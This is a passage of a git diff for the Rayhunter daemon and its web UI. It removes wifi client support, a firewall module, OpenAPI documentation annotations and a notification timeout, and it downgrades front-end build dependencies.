-    Ok(())
-}
--- a/daemon/src/lib.rs
+++ b/daemon/src/lib.rs
@@ -1,73 +0,0 @@
-pub mod analysis;
-pub mod battery;
-pub mod config;
-pub mod crypto_provider;
-pub mod diag;
-pub mod display;
-pub mod error;
-pub mod firewall;
-pub mod key_input;
-pub mod notifications;
-pub mod pcap;
-pub mod qmdl_store;
-pub mod server;
-pub mod stats;
-
-#[cfg(feature = "apidocs")]
-use utoipa::OpenApi;
-
-// Add anotated paths to api docs
-#[cfg(feature = "apidocs")]
-#[derive(OpenApi)]
-#[openapi(
-    info(
-        description = "OpenAPI documentation for Rayhunter daemon\n\n**Note:** API endpoints are subject to change as needs arise, though we will try to keep them as stable as possible and notify about breaking changes in the changelogs for new versions.\n\nNo endpoints require any authentication. To use the in-browser execution on this page, you may need to disable CORS temporarily for your browser.",
-        license(
-            name = "GNU General Public License v3.0",
-            url = "https://github.com/EFForg/rayhunter/blob/main/LICENSE"
-        )
-    ),
-    paths(
-        pcap::get_pcap,
-        server::get_qmdl,
-        server::get_zip,
-        stats::get_system_stats,
-        stats::get_qmdl_manifest,
-        stats::get_log,
-        diag::start_recording,
-        diag::stop_recording,
-        diag::delete_recording,
-        diag::delete_all_recordings,
-        diag::get_analysis_report,
-        analysis::get_analysis_status,
-        analysis::start_analysis,
-        server::get_config,
-        server::set_config,
-        server::test_notification,
-        server::get_time,
-        server::set_time_offset,
-        server::debug_set_display_state
-    ),
-    servers(
-        (
-            url = "http://localhost:8080",
-            description = "ADB port bridge"
-        ),
-        (
-            url = "http://192.168.1.1:8080",
-            description = "Orbic WiFi GUI"
-        ),
-        (
-            url = "http://192.168.0.1:8080",
-            description = "TPLink WiFi GUI"
-        ),
-    )
-)]
-pub struct ApiDocs;
-
-#[cfg(feature = "apidocs")]
-impl ApiDocs {
-    pub fn generate() -> String {
-        ApiDocs::openapi().to_pretty_json().unwrap()
-    }
-}
--- a/daemon/src/main.rs
+++ b/daemon/src/main.rs
@@ -1,17 +1,16 @@
 mod analysis;
 mod battery;
 mod config;
-mod crypto_provider;
 mod diag;
 mod display;
 mod error;
-mod firewall;
 mod key_input;
 mod notifications;
 mod pcap;
 mod qmdl_store;
 mod server;
 mod stats;
+
 use std::net::SocketAddr;
 use std::sync::Arc;

@@ -23,11 +22,10 @@ use crate::notifications::{NotificationService, run_notification_worker};
 use crate::pcap::get_pcap;
 use crate::qmdl_store::RecordingStore;
 use crate::server::{
-    ServerState, debug_set_display_state, get_config, get_qmdl, get_time, get_wifi_status, get_zip,
-    scan_wifi, serve_static, set_config, set_time_offset, test_notification,
+    ServerState, debug_set_display_state, get_config, get_qmdl, get_time, get_zip, serve_static,
+    set_config, set_time_offset, test_notification,
 };
 use crate::stats::{get_qmdl_manifest, get_system_stats};
-use wifi_station::WifiStatus;

 use analysis::{
    AnalysisCtrlMessage, AnalysisStatus, get_analysis_status, run_analysis_thread, start_analysis,
@@ -72,8 +70,6 @@ fn get_router() -> AppRouter {
        .route("/api/config", get(get_config))
        .route("/api/config", post(set_config))
        .route("/api/test-notification", post(test_notification))
-        .route("/api/wifi-status", get(get_wifi_status))
-        .route("/api/wifi-scan", post(scan_wifi))
        .route("/api/time", get(get_time))
        .route("/api/time-offset", post(set_time_offset))
        .route("/api/debug/display-state", post(debug_set_display_state))
@@ -177,7 +173,12 @@ fn run_shutdown_thread(
 async fn main() -> Result<(), RayhunterError> {
    rayhunter::init_logging(log::LevelFilter::Info);

-    crate::crypto_provider::install_default();
+    #[cfg(feature = "rustcrypto-tls")]
+    {
+        rustls_rustcrypto::provider()
+            .install_default()
+            .expect("Couldn't install rustcrypto provider");
+    }

    let args = parse_args();

@@ -239,7 +240,7 @@ async fn run_with_config(
        info!("Starting UI");

        let update_ui = match &config.device {
-            Device::Orbic | Device::Moxee => display::orbic::update_ui,
+            Device::Orbic => display::orbic::update_ui,
            Device::Tplink => display::tplink::update_ui,
            Device::Tmobile => display::tmobile::update_ui,
            Device::Wingtech => display::wingtech::update_ui,
@@ -287,15 +288,6 @@ async fn run_with_config(
        config.enabled_notifications.clone(),
    );

-    let wifi_status = Arc::new(RwLock::new(WifiStatus::default()));
-    wifi_station::run_wifi_client(
-        &task_tracker,
-        &config.wifi_config(),
-        shutdown_token.clone(),
-        wifi_status.clone(),
-    );
-    firewall::apply(&config).await;
-
    let state = Arc::new(ServerState {
        config_path: args.config_path.clone(),
        config,
@@ -305,8 +297,6 @@ async fn run_with_config(
        analysis_sender: analysis_tx,
        daemon_restart_token: restart_token.clone(),
        ui_update_sender: Some(ui_update_tx),
-        wifi_status,
-        wifi_scan_lock: tokio::sync::Mutex::new(()),
    });
    run_server(&task_tracker, state, shutdown_token.clone()).await;

--- a/daemon/src/notifications.rs
+++ b/daemon/src/notifications.rs
@@ -10,8 +10,6 @@ use thiserror::Error;
 use tokio::sync::mpsc::{self, error::TryRecvError};
 use tokio_util::task::TaskTracker;

-pub const DEFAULT_NOTIFICATION_TIMEOUT: u64 = 10; //seconds
-
 #[derive(Error, Debug)]
 pub enum NotificationError {
    #[error("HTTP request failed: {0}")]
@@ -20,9 +18,7 @@ pub enum NotificationError {
    HttpError(reqwest::StatusCode),
 }

-/// Enum of valid notification types
 #[derive(Hash, Eq, PartialEq, Debug, Clone, Serialize, Deserialize)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub enum NotificationType {
    Warning,
    LowBattery,
@@ -58,7 +54,6 @@ struct NotificationStatus {

 pub struct NotificationService {
    url: Option<String>,
-    timeout: u64,
    tx: mpsc::Sender<Notification>,
    rx: mpsc::Receiver<Notification>,
 }
@@ -66,12 +61,7 @@ pub struct NotificationService {
 impl NotificationService {
    pub fn new(url: Option<String>) -> Self {
        let (tx, rx) = mpsc::channel(10);
-        Self {
-            url,
-            timeout: DEFAULT_NOTIFICATION_TIMEOUT,
-            tx,
-            rx,
-        }
+        Self { url, tx, rx }
    }

    pub fn new_handler(&self) -> mpsc::Sender<Notification> {
@@ -84,14 +74,8 @@ pub async fn send_notification(
    http_client: &reqwest::Client,
    url: &str,
    message: String,
-    timeout: u64,
 ) -> Result<(), NotificationError> {
-    let response = http_client
-        .post(url)
-        .body(message)
-        .timeout(Duration::from_secs(timeout))
-        .send()
-        .await?;
+    let response = http_client.post(url).body(message).send().await?;

    if response.status().is_success() {
        Ok(())
@@ -165,13 +149,7 @@ pub fn run_notification_worker(
                        }
                    }

-                    match send_notification(
-                        &http_client,
-                        &url,
-                        notification.message.clone(),
-                        notification_service.timeout,
-                    )
-                    .await
+                    match send_notification(&http_client, &url, notification.message.clone()).await
                    {
                        Ok(()) => {
                            notification.last_sent = Some(Instant::now());
@@ -223,7 +201,10 @@ mod tests {
    }

    async fn setup_test_server() -> (Arc<Mutex<Vec<String>>>, String) {
-        crate::crypto_provider::install_default();
+        #[cfg(feature = "rustcrypto-tls")]
+        {
+            let _ = rustls_rustcrypto::provider().install_default();
+        }

        let received_messages = Arc::new(Mutex::new(Vec::new()));
        let test_state = TestServerState {
@@ -247,53 +228,12 @@ mod tests {
        (received_messages, url)
    }

-    async fn setup_timeout_server(timeout: u64) -> String {
-        crate::crypto_provider::install_default();
-
-        let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let addr = listener.local_addr().unwrap();
-        let url = format!("http://{}", addr);
-
-        tokio::spawn(async move {
-            // Accept the connection but don't respond in the timeout
-            let (_socket, _addr) = listener.accept().await.unwrap();
-            tokio::time::sleep(Duration::from_secs(timeout * 2)).await;
-        });
-
-        tokio::time::sleep(Duration::from_millis(100)).await;
-
-        url
-    }
-
    async fn cleanup_worker(sender: mpsc::Sender<Notification>, tracker: TaskTracker) {
        drop(sender);
        tracker.close();
        tracker.wait().await;
    }

-    #[tokio::test]
-    async fn test_send_notification_times_out() {
-        let timeout: u64 = 2;
-        let url = setup_timeout_server(timeout).await;
-
-        let http_client = reqwest::Client::new();
-        let result = send_notification(
-            &http_client,
-            &url,
-            "test warning message".to_string(),
-            timeout,
-        )
-        .await;
-
-        match result {
-            Err(NotificationError::RequestFailed(reqwest_error)) => {
-                println!("error = {:?}", reqwest_error);
-                assert!(reqwest_error.is_timeout());
-            }
-            _ => assert!(false),
-        }
-    }
-
    #[tokio::test]
    async fn test_notification_worker_sends_message() {
        let (received_messages, url) = setup_test_server().await;
--- a/daemon/src/pcap.rs
+++ b/daemon/src/pcap.rs
@@ -1,4 +1,4 @@
-use crate::server::ServerState;
+use crate::ServerState;

 use anyhow::Error;
 use axum::body::Body;
@@ -18,21 +18,6 @@ use tokio_util::io::ReaderStream;
 // Streams a pcap file chunk-by-chunk to the client by reading the QMDL data
 // written so far. This is done by spawning a thread which streams chunks of
 // pcap data to a channel that's piped to the client.
-#[cfg_attr(feature = "apidocs", utoipa::path(
-    get,
-    path = "/api/pcap/{name}",
-    tag = "Recordings",
-    responses(
-        (status = StatusCode::OK, description = "PCAP conversion successful", content_type = "application/vnd.tcpdump.pcap"),
-        (status = StatusCode::NOT_FOUND, description = "Could not find file {name}"),
-        (status = StatusCode::SERVICE_UNAVAILABLE, description = "QMDL file is empty")
-    ),
-    params(
-        ("name" = String, Path, description = "QMDL filename to convert and download")
-    ),
-    summary = "Download a PCAP file",
-    description = "Stream a PCAP file to a client in chunks by converting the QMDL data for file {name} written so far."
-))]
 pub async fn get_pcap(
    State(state): State<Arc<ServerState>>,
    Path(mut qmdl_name): Path<String>,
--- a/daemon/src/qmdl_store.rs
+++ b/daemon/src/qmdl_store.rs
@@ -45,25 +45,14 @@ pub struct Manifest {
    pub entries: Vec<ManifestEntry>,
 }

-/// The structure of an entry in the QMDL manifest table
 #[derive(Deserialize, Serialize, Clone, PartialEq, Debug)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub struct ManifestEntry {
-    /// The name of the entry
    pub name: String,
-    /// The system time when recording began
-    #[cfg_attr(feature = "apidocs", schema(value_type = String))]
    pub start_time: DateTime<Local>,
-    /// The system time when the last message was recorded to the file
-    #[cfg_attr(feature = "apidocs", schema(value_type = String))]
    pub last_message_time: Option<DateTime<Local>>,
-    /// The size of the QMDL file in bytes
    pub qmdl_size_bytes: usize,
-    /// The rayhunter daemon version which generated the file
    pub rayhunter_version: Option<String>,
-    /// The OS which created the file
    pub system_os: Option<String>,
-    /// The architecture on which the OS was running
    pub arch: Option<String>,
    #[serde(default)]
    pub stop_reason: Option<String>,
@@ -216,7 +205,7 @@ impl RecordingStore {
        }

        // sort chronologically
-        manifest_entries.sort_by_key(|a| a.start_time);
+        manifest_entries.sort_by(|a, b| a.start_time.cmp(&b.start_time));

        let mut store = RecordingStore {
            path: path.as_ref().to_path_buf(),
--- a/daemon/src/server.rs
+++ b/daemon/src/server.rs
@@ -21,11 +21,10 @@ use tokio_util::compat::FuturesAsyncWriteCompatExt;
 use tokio_util::io::ReaderStream;
 use tokio_util::sync::CancellationToken;

+use crate::DiagDeviceCtrlMessage;
 use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus};
 use crate::config::Config;
-use crate::diag::DiagDeviceCtrlMessage;
 use crate::display::DisplayState;
-use crate::notifications::DEFAULT_NOTIFICATION_TIMEOUT;
 use crate::pcap::generate_pcap_data;
 use crate::qmdl_store::RecordingStore;

@@ -38,25 +37,8 @@ pub struct ServerState {
    pub analysis_sender: Sender<AnalysisCtrlMessage>,
    pub daemon_restart_token: CancellationToken,
    pub ui_update_sender: Option<Sender<DisplayState>>,
-    pub wifi_status: Arc<RwLock<wifi_station::WifiStatus>>,
-    pub wifi_scan_lock: tokio::sync::Mutex<()>,
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    get,
-    path = "/api/qmdl/{name}",
-    tag = "Recordings",
-    responses(
-        (status = StatusCode::OK, description = "QMDL download successful", content_type = "application/octet-stream"),
-        (status = StatusCode::NOT_FOUND, description = "Could not find file {name}"),
-        (status = StatusCode::SERVICE_UNAVAILABLE, description = "QMDL file is empty, or error opening file")
-    ),
-    params(
-        ("name" = String, Path, description = "QMDL filename to convert and download")
-    ),
-    summary = "Download a QMDL file",
-    description = "Stream the QMDL file {name} to the client."
-))]
 pub async fn get_qmdl(
    State(state): State<Arc<ServerState>>,
    Path(qmdl_name): Path<String>,
@@ -124,50 +106,17 @@ pub async fn serve_static(
    }
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    get,
-    path = "/api/config",
-    tag = "Configuration",
-    responses(
-        (status = StatusCode::OK, description = "Success", body = Config)
-    ),
-    summary = "Get config",
-    description = "Show the running configuration for Rayhunter."
-))]
 pub async fn get_config(
    State(state): State<Arc<ServerState>>,
 ) -> Result<Json<Config>, (StatusCode, String)> {
-    let mut config = state.config.clone();
-    config.wifi_password = None;
-    Ok(Json(config))
+    Ok(Json(state.config.clone()))
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    post,
-    path = "/api/config",
-    tag = "Configuration",
-    request_body(
-        content = Option<[Config]>,
-        description = "Any or all configuration elements from the valid config schema to be altered may be passed. Invalid keys will be discarded. Invalid values or value types will return an error."
-    ),
-    responses(
-        (status = StatusCode::ACCEPTED, description = "Success"),
-        (status = StatusCode::INTERNAL_SERVER_ERROR, description = "Failed to parse or write config file"),
-        (status = 422, description = "Failed to deserialize JSON body")
-    ),
-    summary = "Set config",
-    description = "Write a new configuration for Rayhunter and trigger a restart."
-))]
 pub async fn set_config(
    State(state): State<Arc<ServerState>>,
    Json(config): Json<Config>,
 ) -> Result<(StatusCode, String), (StatusCode, String)> {
-    let mut config_to_write = config.clone();
-    config_to_write.wifi_ssid = None;
-    config_to_write.wifi_password = None;
-    config_to_write.wifi_security = None;
-
-    let config_str = toml::to_string_pretty(&config_to_write).map_err(|err| {
+    let config_str = toml::to_string_pretty(&config).map_err(|err| {
        (
            StatusCode::INTERNAL_SERVER_ERROR,
            format!("failed to serialize config as TOML: {err}"),
@@ -181,8 +130,6 @@ pub async fn set_config(
        )
    })?;

-    wifi_station::update_wpa_conf(&config.wifi_config()).await;
-
    // Trigger daemon restart after writing config
    state.daemon_restart_token.cancel();
    Ok((
@@ -191,18 +138,6 @@ pub async fn set_config(
    ))
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    post,
-    path = "/api/test-notification",
-    tag = "Configuration",
-    responses(
-        (status = StatusCode::OK, description = "Success"),
-        (status = StatusCode::BAD_REQUEST, description = "No notification URL set"),
-        (status = StatusCode::INTERNAL_SERVER_ERROR, description = "Failed to send HTTP request. Ensure your device can reach the internet.")
-    ),
-    summary = "Test ntfy notification",
-    description = "Send a test notification to the ntfy_url in the running configuration for Rayhunter."
-))]
 pub async fn test_notification(
    State(state): State<Arc<ServerState>>,
 ) -> Result<(StatusCode, String), (StatusCode, String)> {
@@ -221,36 +156,28 @@ pub async fn test_notification(
    let http_client = reqwest::Client::new();
    let message = "Test notification from Rayhunter".to_string();

-    crate::notifications::send_notification(
-        &http_client,
-        url,
-        message,
-        DEFAULT_NOTIFICATION_TIMEOUT,
-    )
-    .await
-    .map(|()| {
-        (
-            StatusCode::OK,
-            "Test notification sent successfully".to_string(),
-        )
-    })
-    .map_err(|e| {
-        (
-            StatusCode::INTERNAL_SERVER_ERROR,
-            format!("Failed to send test notification: {e}"),
-        )
-    })
+    crate::notifications::send_notification(&http_client, url, message)
+        .await
+        .map(|()| {
+            (
+                StatusCode::OK,
+                "Test notification sent successfully".to_string(),
+            )
+        })
+        .map_err(|e| {
+            (
+                StatusCode::INTERNAL_SERVER_ERROR,
+                format!("Failed to send test notification: {e}"),
+            )
+        })
 }

 /// Response for GET /api/time
 #[derive(Serialize)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub struct TimeResponse {
    /// The raw system time (without clock offset)
-    #[cfg_attr(feature = "apidocs", schema(value_type = String))]
    pub system_time: DateTime<Local>,
    /// The adjusted time (system time + offset)
-    #[cfg_attr(feature = "apidocs", schema(value_type = String))]
    pub adjusted_time: DateTime<Local>,
    /// The current offset in seconds
    pub offset_seconds: i64,
@@ -258,22 +185,11 @@ pub struct TimeResponse {

 /// Request for POST /api/time-offset
 #[derive(Deserialize)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub struct SetTimeOffsetRequest {
    /// The offset to set, in seconds
    pub offset_seconds: i64,
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    get,
-    path = "/api/time",
-    tag = "Configuration",
-    responses(
-        (status = StatusCode::OK, description = "Success", body = TimeResponse)
-    ),
-    summary = "Get time",
-    description = "Get the current time and offset (in seconds) of the device."
-))]
 pub async fn get_time() -> Json<TimeResponse> {
    let system_time = Local::now();
    let adjusted_time = rayhunter::clock::get_adjusted_now();
@@ -287,39 +203,11 @@ pub async fn get_time() -> Json<TimeResponse> {
    })
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    get,
-    path = "/api/time-offset",
-    tag = "Configuration",
-    request_body(
-        content = SetTimeOffsetRequest
-    ),
-    responses(
-        (status = StatusCode::OK, description = "Success", body = TimeResponse)
-    ),
-    summary = "Set time offset",
-    description = "Set the difference (in seconds) between the system time and the adjusted time for Rayhunter."
-))]
 pub async fn set_time_offset(Json(req): Json<SetTimeOffsetRequest>) -> StatusCode {
    rayhunter::clock::set_offset(chrono::TimeDelta::seconds(req.offset_seconds));
    StatusCode::OK
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    get,
-    path = "/api/zip/{name}",
-    tag = "Recordings",
-    responses(
-        (status = StatusCode::OK, description = "ZIP download successful. It is possible that if the PCAP fails to convert, the same status will be returned, but the file will contain only the QMDL file.", content_type = "application/zip"),
-        (status = StatusCode::NOT_FOUND, description = "Could not find file {name}"),
-        (status = StatusCode::SERVICE_UNAVAILABLE, description = "QMDL file is empty, or error opening file")
-    ),
-    params(
-        ("name" = String, Path, description = "QMDL filename to convert and download")
-    ),
-    summary = "Download a ZIP file",
-    description = "Stream a ZIP file to the client which contains the QMDL file {name} and a PCAP generated from the same file."
-))]
 pub async fn get_zip(
    State(state): State<Arc<ServerState>>,
    Path(entry_name): Path<String>,
@@ -411,70 +299,6 @@ pub async fn get_zip(
    Ok((headers, body).into_response())
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    get,
-    path = "/api/wifi-status",
-    tag = "Configuration",
-    responses(
-        (status = StatusCode::OK, description = "Success", body = wifi_station::WifiStatus)
-    ),
-    summary = "Get wifi status",
-    description = "Show the status of the wifi client."
-))]
-pub async fn get_wifi_status(
-    State(state): State<Arc<ServerState>>,
-) -> Json<wifi_station::WifiStatus> {
-    let status = state.wifi_status.read().await;
-    Json(status.clone())
-}
-
-#[cfg_attr(feature = "apidocs", utoipa::path(
-    post,
-    path = "/api/wifi-scan",
-    tag = "Configuration",
-    responses(
-        (status = StatusCode::OK, description = "Scan success", body = inline(Vec<wifi_station::WifiNetwork>), content_type = "application/json"),
-        (status = StatusCode::TOO_MANY_REQUESTS, description = "Scan already in progress"),
-        (status = StatusCode::INTERNAL_SERVER_ERROR, description = "Scan failed"),
-    ),
-    summary = "Wifi SSID scan",
-    description = "Poll for a list of available wifi networks. Returns an array of WifiNetwork objects."
-))]
-pub async fn scan_wifi(
-    State(state): State<Arc<ServerState>>,
-) -> Result<Json<Vec<wifi_station::WifiNetwork>>, (StatusCode, String)> {
-    let _guard = state.wifi_scan_lock.try_lock().map_err(|_| {
-        (
-            StatusCode::TOO_MANY_REQUESTS,
-            "WiFi scan already in progress".to_string(),
-        )
-    })?;
-    let networks = wifi_station::scan_wifi_networks(wifi_station::STA_IFACE)
-        .await
-        .map_err(|e| {
-            (
-                StatusCode::INTERNAL_SERVER_ERROR,
-                format!("WiFi scan failed: {e}"),
-            )
-        })?;
-    Ok(Json(networks))
-}
-
-#[cfg_attr(feature = "apidocs", utoipa::path(
-    post,
-    path = "/api/debug/display-state",
-    tag = "Configuration",
-    request_body(
-        content = DisplayState
-    ),
-    responses(
-        (status = StatusCode::OK, description = "Display state updated successfully"),
-        (status = StatusCode::INTERNAL_SERVER_ERROR, description = "Error sending update to the display"),
-        (status = StatusCode::SERVICE_UNAVAILABLE, description = "Display system not available")
-    ),
-    summary = "Set display state",
-    description = "Change the display state (color bar or otherwise) of the device for debugging purposes."
-))]
 pub async fn debug_set_display_state(
    State(state): State<Arc<ServerState>>,
    Json(display_state): Json<DisplayState>,
@@ -564,8 +388,6 @@ mod tests {
            analysis_sender: analysis_tx,
            daemon_restart_token: CancellationToken::new(),
            ui_update_sender: None,
-            wifi_status: Arc::new(RwLock::new(wifi_station::WifiStatus::default())),
-            wifi_scan_lock: tokio::sync::Mutex::new(()),
        })
    }

--- a/daemon/src/stats.rs
+++ b/daemon/src/stats.rs
@@ -14,9 +14,7 @@ use rayhunter::{Device, util::RuntimeMetadata};
 use serde::Serialize;
 use tokio::process::Command;

-/// Structure of device system statistics
 #[derive(Debug, Serialize)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub struct SystemStats {
    pub disk_stats: DiskStats,
    pub memory_stats: MemoryStats,
@@ -43,21 +41,13 @@ impl SystemStats {
    }
 }

-/// Device storage information
 #[derive(Debug, Serialize)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub struct DiskStats {
-    /// The partition to which the daemon is installed
    partition: String,
-    /// The total disk size of the partition
    total_size: String,
-    /// Total used size of the partition
    used_size: String,
-    /// Remaining free space of the partition
    available_size: String,
-    /// Disk usage displayed as percentage
    used_percent: String,
-    /// The root folder to which the partition is mounted
    mounted_on: String,
    #[serde(skip_serializing_if = "Option::is_none")]
    pub available_bytes: Option<u64>,
@@ -81,12 +71,11 @@ impl DiskStats {
        let free_kb = (stat.f_bfree as u64 * block_size / 1024) as usize;
        let available_kb = (stat.f_bavail as u64 * block_size / 1024) as usize;
        let used_kb = total_kb.saturating_sub(free_kb);
-        let used_percent = format!(
-            "{}%",
-            ((stat.f_blocks - stat.f_bfree) * 100)
-                .checked_div(stat.f_blocks)
-                .unwrap_or(0)
-        );
+        let used_percent = if stat.f_blocks > 0 {
+            format!("{}%", (stat.f_blocks - stat.f_bfree) * 100 / stat.f_blocks)
+        } else {
+            "0%".to_string()
+        };

        Ok(Self {
            partition: qmdl_path.to_string(),
@@ -100,15 +89,10 @@ impl DiskStats {
    }
 }

-/// Device memory information
 #[derive(Debug, Serialize)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub struct MemoryStats {
-    /// The total memory available on the device
    total: String,
-    /// The currently used memory
    used: String,
-    /// Remaining free memory
    free: String,
 }

@@ -161,17 +145,6 @@ fn humanize_kb(kb: usize) -> String {
    format!("{:.1}M", kb as f64 / 1024.0)
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    get,
-    path = "/api/system-stats",
-    tag = "Statistics",
-    responses(
-        (status = StatusCode::OK, description = "Success", body = SystemStats),
-        (status = StatusCode::INTERNAL_SERVER_ERROR, description = "Error collecting statistics")
-    ),
-    summary = "Get system info",
-    description = "Display system/device statistics."
-))]
 pub async fn get_system_stats(
    State(state): State<Arc<ServerState>>,
 ) -> Result<Json<SystemStats>, (StatusCode, String)> {
@@ -188,26 +161,12 @@ pub async fn get_system_stats(
    }
 }

-/// QMDL manifest information
 #[derive(Serialize)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub struct ManifestStats {
-    /// A vector containing the names of the QMDL files
    pub entries: Vec<ManifestEntry>,
-    /// The currently open QMDL file
    pub current_entry: Option<ManifestEntry>,
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    get,
-    path = "/api/qmdl-manifest",
-    tag = "Statistics",
-    responses(
-        (status = StatusCode::OK, description = "Success", body = ManifestStats)
-    ),
-    summary = "QMDL Manifest",
-    description = "List QMDL files available on the device and some of their basic statistics."
-))]
 pub async fn get_qmdl_manifest(
    State(state): State<Arc<ServerState>>,
 ) -> Result<Json<ManifestStats>, (StatusCode, String)> {
@@ -220,17 +179,6 @@ pub async fn get_qmdl_manifest(
    }))
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    get,
-    path = "/api/log",
-    tag = "Statistics",
-    responses(
-        (status = StatusCode::OK, description = "Success", content_type = "text/plain"),
-        (status = StatusCode::INTERNAL_SERVER_ERROR, description = "Could not read /data/rayhunter/rayhunter.log file")
-    ),
-    summary = "Display log",
-    description = "Download the current device log in UTF-8 plaintext."
-))]
 pub async fn get_log() -> Result<String, (StatusCode, String)> {
    tokio::fs::read_to_string("/data/rayhunter/rayhunter.log")
        .await
--- a/daemon/web/eslint.config.js
+++ b/daemon/web/eslint.config.js
@@ -22,7 +22,7 @@ export default ts.config(
        },
    },
    {
-        files: ['**/*.svelte', '**/*.svelte.ts', '**/*.svelte.js'],
+        files: ['**/*.svelte'],

        languageOptions: {
            parserOptions: {
@@ -48,11 +48,6 @@ export default ts.config(
                    format: ['snake_case'],
                },
            ],
-            // these rules should eventually be enabled, just disabled them to
-            // make dependency upgrades easier.
-            'svelte/prefer-svelte-reactivity': 'off',
-            'svelte/require-each-key': 'off',
-            'svelte/no-navigation-without-resolve': 'off',
        },
    }
 );
--- a/daemon/web/package-lock.json
+++ b/daemon/web/package-lock.json
--- a/daemon/web/package.json
+++ b/daemon/web/package.json
@@ -15,26 +15,25 @@
        "fix": "eslint --fix ."
    },
    "devDependencies": {
-        "@eslint/js": "^10.0.1",
-        "@sveltejs/adapter-auto": "^7.0.1",
+        "@sveltejs/adapter-auto": "^3.0.0",
        "@sveltejs/adapter-static": "^3.0.5",
-        "@sveltejs/kit": "^2.57.1",
-        "@sveltejs/vite-plugin-svelte": "^7.0.0",
-        "@tailwindcss/vite": "^4.2.2",
+        "@sveltejs/kit": "^2.49.5",
+        "@sveltejs/vite-plugin-svelte": "^6.2.1",
        "@types/eslint": "^9.6.0",
-        "@types/node": "^25.6.0",
-        "eslint": "^10.2.1",
-        "eslint-config-prettier": "^10.1.8",
-        "eslint-plugin-svelte": "^3.17.0",
-        "globals": "^17.5.0",
-        "prettier": "^3.8.3",
-        "prettier-plugin-svelte": "^3.5.1",
-        "svelte": "^5.55.4",
-        "svelte-check": "^4.4.6",
-        "tailwindcss": "^4.2.2",
-        "typescript": "^6.0.3",
-        "typescript-eslint": "^8.58.2",
-        "vite": "^8.0.9",
-        "vitest": "^4.1.4"
+        "@types/node": "^24.7.0",
+        "autoprefixer": "^10.4.20",
+        "eslint": "^9.7.0",
+        "eslint-config-prettier": "^9.1.0",
+        "eslint-plugin-svelte": "^2.36.0",
+        "globals": "^15.0.0",
+        "prettier": "^3.3.2",
+        "prettier-plugin-svelte": "^3.2.6",
+        "svelte": "^5.0.0",
+        "svelte-check": "^4.0.0",
+        "tailwindcss": "^3.4.9",
+        "typescript": "^5.0.0",
+        "typescript-eslint": "^8.0.0",
+        "vite": "^7.1.11",
+        "vitest": "^3.2.4"
    }
 }
--- a/daemon/web/postcss.config.js
+++ b/daemon/web/postcss.config.js
@@ -0,0 +1,6 @@
+export default {
+    plugins: {
+        tailwindcss: {},
+        autoprefixer: {},
+    },
+};
--- a/daemon/web/src/app.css
+++ b/daemon/web/src/app.css
@@ -1,16 +1,3 @@
-@import 'tailwindcss';
-
-@theme {
-    --color-rayhunter-blue: #4e4eb1;
-    --color-rayhunter-dark-blue: #3f3da0;
-    --color-rayhunter-green: #94ea18;
-}
-
-/* v4 dropped the v3 preflight rule that set `cursor: pointer` on buttons.
- * Restore it so enabled buttons get the pointer cursor. */
-@layer base {
-    button:not(:disabled),
-    [role='button']:not(:disabled) {
-        cursor: pointer;
-    }
-}
+@import 'tailwindcss/base';
+@import 'tailwindcss/components';
+@import 'tailwindcss/utilities';
--- a/daemon/web/src/lib/components/ActionErrors.svelte
+++ b/daemon/web/src/lib/components/ActionErrors.svelte
@@ -20,7 +20,7 @@

 {#if action_errors.length > 0}
    <div
-        class="bg-red-100 border-red-100 drop-shadow-sm p-4 flex flex-col gap-2
+        class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2
        border rounded-md flex-1 justify-between fixed z-10 right-3 bottom-3 ml-3"
    >
        <div class="flex flex-row justify-between">
--- a/daemon/web/src/lib/components/AnalysisTable.svelte
+++ b/daemon/web/src/lib/components/AnalysisTable.svelte
@@ -11,7 +11,7 @@
        dateStyle: 'short',
    });

-    const analyzers = $derived(report.metadata.analyzers);
+    const analyzers = report.metadata.analyzers;

    const skipped_messages: Map<string, number> = $derived.by(() => {
        let map = new Map();
--- a/daemon/web/src/lib/components/ClockDriftAlert.svelte
+++ b/daemon/web/src/lib/components/ClockDriftAlert.svelte
@@ -55,7 +55,7 @@

 {#if show_alert}
    <div
-        class="bg-yellow-100 border-yellow-400 drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md"
+        class="bg-yellow-100 border-yellow-400 drop-shadow p-4 flex flex-col gap-2 border rounded-md"
    >
        <span class="text-xl font-bold flex flex-row items-center gap-2 text-yellow-700">
            <svg
--- a/daemon/web/src/lib/components/ConfigForm.svelte
+++ b/daemon/web/src/lib/components/ConfigForm.svelte
@@ -1,17 +1,6 @@
 <script lang="ts">
-    import {
-        get_config,
-        set_config,
-        test_notification,
-        get_wifi_status,
-        scan_wifi_networks,
-        type Config,
-        type WifiStatus,
-        type WifiNetwork,
-    } from '../utils.svelte';
-    import Modal from './Modal.svelte';
+    import { get_config, set_config, test_notification, type Config } from '../utils.svelte';

-    let { shown = $bindable() }: { shown: boolean } = $props();
    let config = $state<Config | null>(null);

    let loading = $state(false);
@@ -21,20 +10,14 @@
    let messageType = $state<'success' | 'error' | null>(null);
    let testMessage = $state('');
    let testMessageType = $state<'success' | 'error' | null>(null);
-    let wifiStatus = $state<WifiStatus | null>(null);
-    let wifiStatusTimer = $state<ReturnType<typeof setInterval> | null>(null);
